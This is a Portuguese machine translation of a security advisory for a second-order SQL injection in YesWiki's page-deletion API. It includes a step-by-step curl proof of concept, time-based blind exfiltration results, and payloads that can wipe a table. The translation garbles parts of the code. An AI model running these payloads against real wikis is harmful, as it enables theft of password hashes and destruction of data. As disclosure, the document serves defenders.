Sumário `ApiController::deletePage()' interpola uma etiqueta de página recuperada do banco de dados para um `DELETE DE..._links WHERE to_tag = '$tag'' consulta sem escapar. A etiqueta da página é controlada pelo atacante — a API ` POST / api/ pages/{tag}` aceita valores arbitrários codificados por URL, incluindo cotações únicas, e os armazena. Um usuário autenticado com baixas preferências pode, portanto, criar uma página cuja etiqueta é um fragmento SQL, tornar a página não órfã através do mecanismo de link padrão `{{include page="..."}}`, e então invocar o endpoint de exclusão para executar o SQL arbitrário dentro do banco de dados wiki - incluindo exfiltração de dados cegos baseada no tempo de qualquer tabela. Este é um ** injeção SQL de segunda ordem clássica**: o `INSERT ' corretamente escapa ao valor, então a etiqueta maliciosa é armazenada intacta e a entrada passa por cada "este valor é seguro para colocar no banco de dados?" verifica; o lavatório é o caminho *read- back- and- reuse*, onde a fuga é omitida. ## Detalhes ### Componente afetado. * **Arquivo:** `inclui/controladores/ApiController.php` * **Metodo:** `ApiController::deletePage($tag)` * **Rota:** `@@Route("/api/pages/{tag}", methods={"DELETE"}, options={"acl":{"+"}})` — `acl:"+"' significa *qualquer usuário autêntico*. * **Linha de troca:** 626 ```php // inclui/ controllers/ApiController.php (v 4.6.5 = linhas de origem/doryphore- dev HEAD, // 607 – 631 ) função pública deletePage($tag) { $pageManager = $this->getService(PageManager::class); $pageController = $this->getService(PageController::class); $dbService = $this->getService(DbService::class);... tente { $page = $pageManager->getOne($tag, null, false); // (a) seguro SELECT se (vazio($page)) {... } se for { $tag = isset($page['tag'])? $page['tag']: $tag;// ^ tag bruto da DB $result['notDeleted'] = [$tag]; se ($this->wiki-> UserIsOwner($tag)*$$tex($tag)*$tex-> O mesmo anti- padrão aparece em dois arquivos adjacentes; ambos foram observados na submissão original e confirmados durante a validação:.

* `tools/tags/handlers/page/__deletepage.php` linha 14 - `DELETE... WHERE to_tag = '$tag'', onde `$tag = $this->GetPageTag()' é novamente a etiqueta armazenada em bruto. * `handlers/page/deletepage.php` linhas 93 – 94 - `LoadAll('SELECIONE DISTINCTE do_ tag de... links WHERE to_ tag = '". $this->GetPageTag(). "'")`, mesmo padrão que um SELECT em vez de um DELETE. O caminho da API é o mais fácil de alcançar porque requer apenas `acl:"+"` e um único pedido HTTP; os outros dois requerem um usuário conectado para navegar para o manipulador de exclusão da página Uma conta de baixo privilégio pode carregar toda a cadeia. 1 **Planta** — ` POST / api/ pages/{evil}` com corpo= qualquer coisa. ` PageManager::save()` escapa da etiqueta no INSERT (`'\''` no SQL ї armazenado `''`), por isso a etiqueta persiste com a sua única citação intacta. A nova página é de propriedade do atacante, então "UserIsOwner($tag)" no manipulador de exclusão retornará verdadeiro. 2. **Fazer não- órfão** — salvar * qualquer* segunda página cujo corpo contém `{{include page=" "}}` através do manipulador de edição da web. `LinkTracker::preventTrackingActions()` analisa a diretiva incluir, procura a página referenciada (`PageManager::getOne()` encontra- a porque a busca usa `escape()`, que corresponde à citação armazenada), e `LinkTracker::persist()` insere uma linha `(from_tag='', to_tag=' ')` em `_links` — novamente com `escape()` no caminho, assim que as rotas de citação em bruto. 3. **Trigger** — `DELETE /api/ pages/ {evil} '. O manipulador de exclusão lê a página (escapou SELECT, encontra a linha), atribui `$tag = $page['tag']` (o valor armazenado bruto, incluindo `'`), executa `isOrphaned($tag)` (escapou SELECT, devolve *não* órfão porque o passo 2 inserido uma linha), e então executa o **unescaped** `DELETE DE..._links WHERE to_tag = '$tag''. O analisador SQL vê o "'''" controlado pelo atacante como o fim da cadeia literal; tudo depois de ser tratado como SQL. O ponto de injeção é `WHERE to_tag = ' '` — qualquer carga útil do formulário ` ' -- ` funciona. Com os primitivos baseados no tempo (`SLEEP`), o atacante lê qualquer byte de qualquer linha de qualquer tabela que a conta wiki possa ver. ### Passos de Fim a Fim para reproduzir o problema. 1. O laboratório pré- voo * está em 8085 2. Fazer login em * administrador 'WikiAdmin' e baixas privações 'TestUser' 01 ' ambos conectados 3. Nível 1 - POST /api/ pages/ (como TestUser 01 ) * PROOF: tag RAW armazenado em páginas yeswiki → 'SleepTag' OU SLEEP( 2 )-- ' 4. Nível 2 - fazer a página mal não órfã * PROOF: linha de links yeswiki → LinkPoc->SleepTag' OU SLEEP( 2 )-- 5. Nível 2 - DELETE / api/ pages/ (como TestUser 01 ) * linha de base (etiqueta não existente): 0.468 s * explore (SLEEP( 2 ) na etiqueta): 2.555 s * delta: 2.087 s * PROFÓRIO: Δ ≥ 1.5 s → Dormir( 2 ) correu dentro do DELETE em L 626 6. Nível 3 - exfiltração de dados cegos baseada no tempo * char='w' transpensed= 0.505 s falta * char='x' transpensed= 0.495 s falta * char='y' transpensed= 3.522 s <- HIT * char='z' transpensed= 0.662 s falta * PROOF: sono condicional disparado apenas para 'y'.

RESULTADO: a injeção SQL de segunda ordem no DELETE /api/ pages/ {tag} está CONFIRMED. Tinha as seguintes coisas configuradas com antecedência. 1. Yeswiki v 4.6.5 imagem de laboratório (Configuração via podman) 3. Configuração da conta de usuário e administração. Peças usadas em todo o PoC. * Site respondendo em ` 8085 ` * Conta de administração: ` WikiAdmin / AdminPoc 12345 ` * Conta de baixa privacidade: `TestUser 01 / TestPass 12345 ` * (este é o atacante)* Para o resto deste documento, defina: ```Bash BASE=" 8085 " CTR="yeswiki-poc" PREFIX="yeswiki_" CJ=/tmp/yw_user.txt # frasco de cookies para o nosso atacante de baixas privações ``` Confirme que a linha vulnerável está realmente lá: ````bash podman exec "$CTR" \ grep -n "DELETE FROM.*links.* WHERE to_tag" \ /var/www/html/includes/controllers/ApiController.php ```.

**Saída esperada:** ``` 626: $dbService->query("DELETE DE {$dbService->prefixTabela('links')} Onde to_tag = '$tag'"); ```. Faça login como o atacante de baixas privilégios. Nós vamos obter a sessão em retorno ```` bash rm -f "$CJ" curl -s -c "$CJ" -o /dev/null "${BASE}/?LoginPoc" \ --data-urlencode "action=login" --data-urlencode "context=LoginPoc" \ --data-urlencode "name=TestUser 01 " -- data- URLcode "passo=Passo de Teste 12345 " \ -- data- urlencode "lembrar= 1 " # Verifique que a sessão está logada: SID=$(grep -oE 'YesWiki-main[[:space:]]]+[a-f 0 - 9 ]+' "$CJ". awk ' {imprimir $ 2 }') podman exec -u root "$CTR" grep '^user (')' "/tmp/sess_${SID}" ``` Plante uma página cuja **tag** contém meta- caracteres SQL. A rota Symfony aceita o regex padrão `[^/]+` para `{tag}`, de modo que as cotações simples passam por não modificadas. O INSERT escapa corretamente ao valor para fins de injeção SQL, mas a fuga é uma preocupação de camada SQL: a cadeia de bytes **stored** ainda contém o '''' literal. Essa é a semente do erro da segunda ordem. ``` bash EVIL_TAG="SleepTag' OU SLEEP( 2 )-- " EVIL_ENC=$(printf '%s' "$ EVIL_TAG". \ podman exec -i "$CTR" php -r 'echo rawurlencode(file_get_content("php://stdin")); ').

eco "row tag: $EVIL_TAG" eco "URL-codificado: $EVIL_ENC". Curl -s -b "$CJ" -X POST "${BASE}/?api/pages/${EVIL_ENC}" \ --data-urlencode "body=poc" ``` * A API aceitou uma etiqueta com palavras-chave literais `'' e SQL, completamente insatisfeita. * A única citação foi feita em uma ida e volta através de `PageManager::save()`'s `escape()' e agora está sentada no banco de dados byte-for-byte como `SleepTag' OU SLEEP( 2 )-- ` — exatamente o que um atacante precisa de read-back para retornar. * `TestUser 01 ` é o proprietário, então a eventual verificação `UserIsOwner($tag)` no manipulador de exclusão passará por eles. Agora, crie uma segunda página que irá ligar para a página do mal O pia em L 626 é portado por `if (!$pageManager-> isOrphaned($tag))`. Para passar, a etiqueta do mal tem que aparecer como um `to_tag` em algum lugar na tabela `_links`. A forma mais limpa é o mecanismo legítimo `{{include page="..."}}`: uma página cujo corpo refere a etiqueta malvada irá registrar um link. Primeiro, crie o link de marcador de lugares através da API (sem rastreamento de links neste caminho - que dispara a partir do editor da web):.

````bash curl -s -b "$CJ" -X POST "${BASE}/?api/pages/LinkPoc" \ --data-urlencode "body=placeholder". # Pegue seu id — vamos precisar dele para o campo "anterior" oculto do formulário de edição LINKID=$(podman exec "$CTR" mysql - suroot yeswiki -N -e \ "SELECIONE id DESDE ${PREFIX}pages WHERE tag='LinkPoc' E latest='Y';") eco "LinkPoc id = $LINKID" ``` Faça a página mal não órfã (handler de edição da web). Enviar um editor de web salvar com o corpo `{{include page=" "}}`. O pré- manipulador `tools/security/handlers/page/__edit.php` normalmente necessitaria de um token de hashcash, mas `env/install.sh` desativa `use_hashcash` para que isso funcione sem um. Hashcash é irrelevante para o SQLi afundar- se; as implantações de produção que o deixam ativado ainda são vulneráveis, apenas um pouco mais envolvidas para ativar. ```bash NEW_BODY=' {{incluir page="SleepTag'"''' OU SLEEP( 2 )-- "}} rev- 1 '. Curl -sL -b "$CJ" -X POST "${BASE}/?LinkPoc/ edit" \ --data-urlencode "submit=Sauver" \ --data-urlencode "previous=${LINKID}" \ --data-urlencode "body=${NOVO_BODY}" ````` * O manipulador de edição web chamado `LinkTracker::registLinks($page, false, false)` (handlers/page/ edit.php: 69 ) * `RegistryLinks()` formatou o corpo da página e alcançou `preventTrackingActions()` (inclui/ serviços/LinkTracker.php: 160 ). * Aquele regex extraiu `SleepTag' OU SLEEP( 2 )-- ` from `{{include page="..."}}`, chamado ` PageManager::getOne( )` que encontrou a página (o lookup usa `escape()`, então um `'' ainda está guardado), e chamado `$this->add($page['tag'])`. * `LinkTracker::persist()`, em seguida, inserido `(from_tag='LinkPoc', to_tag=' ')` para `_links'.

**Prova:** os dados da segunda ordem foram plantados nos lados **ambos** da junta aos toques de consulta do DELETE vulneráveis. Precisamos de uma medida de controle antes do SQLi real, para que o delta seja inequívoco. Excluir uma etiqueta que sabemos que não existe: ```` Bash T 0 =$(data +%s.%N) curl -s -b "$CJ" -X DELETE "${BASE}/?api/ páginas/NãoExistente 99 " - o / dev/null T 1 =$(data +%s.%N) awk "BEGIN{printf \" linha de base decorreu:%. 3 fs\n\", $T 1 - $T 0 }" ``` **Saída esperada:** linha de base decorrente: ~ 0.3 – 0.7 s (uma ida e volta HTTP + um rápido `SELECCIONAR... WHERE tag =...`). Grave este número.

Ativar o SQLi (Tier) 2 - os incêndios de vulnerabilidade reais). Emita um `DELETE / api/ pages/ `. O manipulador lê a página de volta do DB, vê a linha, pega `$tag = $page['tag']` (o valor **raw** armazenado, ainda contendo `'`), verifica `isOrphaned()` (retorna *não* órfão porque o passo 5 inserido uma linha), e executa o ** descartado** DELETE em L 626. Com a nossa etiqueta, isso se torna: ``` sql SELETE DE Yeswiki_links WHERE to_tag = 'SleepTag' OU SLEEP( 2 )-- ' ^^^^^^^^^^^^^^^^^^^^^^ ^^^ ^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ` SLEEP( 2 )` executa uma vez por linha digitalizada. Nós semeamos uma linha, então a chamada deve ser pendurada ~ 2 s antes de responder. ```` Bash T 0 =$(date +%s.%N) curl -s -b "$CJ" -X DELETE "${BASE}/?api/pages/${EVIL_ENC}" -o /tmp/yw_del.json T 1 =$(data +%s.%N) awk "BEGIN{printf \"exploit transcorrido:%. 3 fs\n\", $T 1 - $T 0 }".

eco "--- resposta ---" gato / tmp/yw_del.json; eco ```. **Saída esperada (o tempo preciso varia de máquina, mas o * delta* em relação ao passo 6 é o que importa:** "`` exploit transcorrido: 2.555 s --- resposta --- {"deleted":["SleepTag' or SLEEP( 2 )-- "]} ``` ## Impacto * Extração cega de qualquer coluna a conta de base de dados do wiki pode ler: hashes de senha do usuário (`_users.password`), endereços de e-mail, ACLs (`_acls.list`), corpos de páginas privadas (`_pages.body`), dados de sessão do banco de dados, etc. * O lavatório é um `DELETE`; um atacante pode anexar `OR 1 = 1 -- ` para limpar toda a tabela `_links`, quebrando a navegação inter- página em todo o site. O caminho também pode ser combinado com técnicas de estilo `UNION` para ler em um erro se o DBMS os superpõe (a maioria das configurações do YesWiki suprime erros, portanto, o cego baseado no tempo é o primitivo primário realista). * `SLEEP()` por linha escalas com tamanho da tabela de link; uma etiqueta maliciosa com `SLEEP( 60 )` em um wiki com links N será pendurada uma conexão para ~ 60 N segundos, facilmente exaustivo do conjunto de trabalhadores MariaDB. * `_users.password` hashs são bcrypt; o cracking offline de senhas mais fracas gera sessões de administração. O erro atua como um primitivo **low-priv → admin**, e correntes com o erro de deserialização do bazar (aconselhamento separado) como **low-priv → admin → injeção de objeto / futuro RCE** Registro de aconselhamento: GHSA- 8 f 2 v- 2 - O que é isso? Identificadores relacionados: CVE- 2026 - 52771.

Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 09 T 21: 00: 14.000 Z e lista a sua última modificação como 2026 - 07 - 09 T 21: 00: 14.000 Z. Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L. Software afetado e informações de versão: pacote Packagist yeswiki/ yeswiki — ECOSYSTEM: introduzido 4.2.0, corrigido 4.6.6. Classificação e evidência: identificadores de fraqueza CWE- 89. O registro contém 3 suporte de referências nestes tipos: WEB, PACKAGE.